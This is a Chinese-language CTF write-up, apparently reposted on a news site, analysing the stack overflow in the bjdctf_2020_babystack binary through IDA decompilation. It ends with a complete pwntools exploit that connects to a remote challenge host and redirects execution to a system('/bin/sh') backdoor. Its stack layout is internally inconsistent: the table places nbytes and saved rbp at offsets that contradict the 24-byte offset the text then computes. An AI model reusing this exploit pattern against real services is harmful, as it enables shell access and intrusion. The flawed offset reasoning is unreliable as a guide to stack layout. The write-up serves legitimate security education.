当前位置：首页 > news >正文

逆向分析实战：从IDA反编译看bjdctf_2020_babystack的栈溢出漏洞成因与利用

news 2026/5/24 8:44:53

逆向工程实战：bjdctf_2020_babystack栈溢出漏洞的深度解析

在二进制安全领域，栈溢出漏洞始终是攻防对抗的经典课题。今天我们将以bjdctf_2020_babystack这道CTF题目为案例，通过IDA Pro的静态分析视角，完整还原从漏洞发现到利用的全过程。不同于快速解题的常规思路，本文将重点展示如何通过逆向工程的方法论，系统性地分析漏洞成因并构建攻击链。

1. 环境准备与初步分析

首先我们需要准备基本的分析环境：

$ file bjdctf_2020_babystack bjdctf_2020_babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped

使用checksec检查安全机制：

安全机制	状态
CANARY	禁用
NX	启用
PIE	禁用
RELRO	Partial

注意：没有栈保护(CANARY)意味着我们可以直接利用栈溢出漏洞，而无需绕过该保护机制。

2. IDA Pro静态分析核心流程

2.1 定位关键函数与变量

在IDA中加载二进制文件后，首先定位到main函数。通过反编译视图(F5)，我们可以清晰地看到程序逻辑：

int __cdecl main(int argc, const char **argv, const char **envp) { char buf[16]; // [rsp+0h] [rbp-10h] BYREF int nbytes; // [rsp+10h] [rbp+0h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); nbytes = 0; puts("Let's learn some stack overflow."); printf("How many bytes do you want to read? "); __isoc99_scanf("%d", &nbytes); read(0, buf, nbytes); return 0; }

关键发现：

buf数组位于栈上，大小为16字节
nbytes变量控制read函数的读取长度
用户可完全控制nbytes的值

2.2 漏洞成因分析

从反编译代码可以看出，程序存在典型的栈溢出漏洞：

长度控制缺陷：nbytes的值完全由用户输入控制
缓冲区大小固定：buf只有16字节空间
无边界检查：直接使用用户控制的nbytes作为read的参数

当用户输入的nbytes大于16时，就会导致buf溢出，覆盖栈上的其他数据。具体栈布局如下：

栈偏移	内容	大小
rbp-10h	buf[16]	16
rbp+0h	nbytes	4
rbp+8h	保存的rbp值	8
rbp+10h	返回地址	8

3. 漏洞利用技术详解

3.1 计算精确偏移量

要成功利用栈溢出，我们需要计算从buf起始位置到返回地址的精确偏移：

buf起始于rbp-0x10(16字节)
nbytes位于rbp+0x0(16字节)
保存的rbp值位于rbp+0x8(8字节)
返回地址位于rbp+0x10(8字节)

因此，从buf到返回地址的总偏移为：

16(buf) + 8(saved rbp) = 24字节

3.2 寻找可利用的代码片段

通过Shift+F12查看字符串引用，我们发现程序中有/bin/sh字符串和system函数：

int backdoor() { return system("/bin/sh"); }

该函数的地址为0x4006E6，这正是我们需要的跳转目标。

3.3 构建完整的攻击载荷

基于以上分析，我们可以构建如下攻击链：

输入足够大的nbytes值(如50)以允许溢出
构造payload结构：
- 24字节填充数据
- 后门函数地址(覆盖返回地址)

from pwn import * context(arch='amd64', os='linux') # 连接目标 r = remote("node5.buuoj.cn", 29658) # 设置足够大的读取长度 r.sendlineafter("How many bytes do you want to read? ", "50") # 构造payload payload = flat( b'A'*24, 0x4006E6 # backdoor地址 ) # 发送payload r.sendline(payload) # 获取交互式shell r.interactive()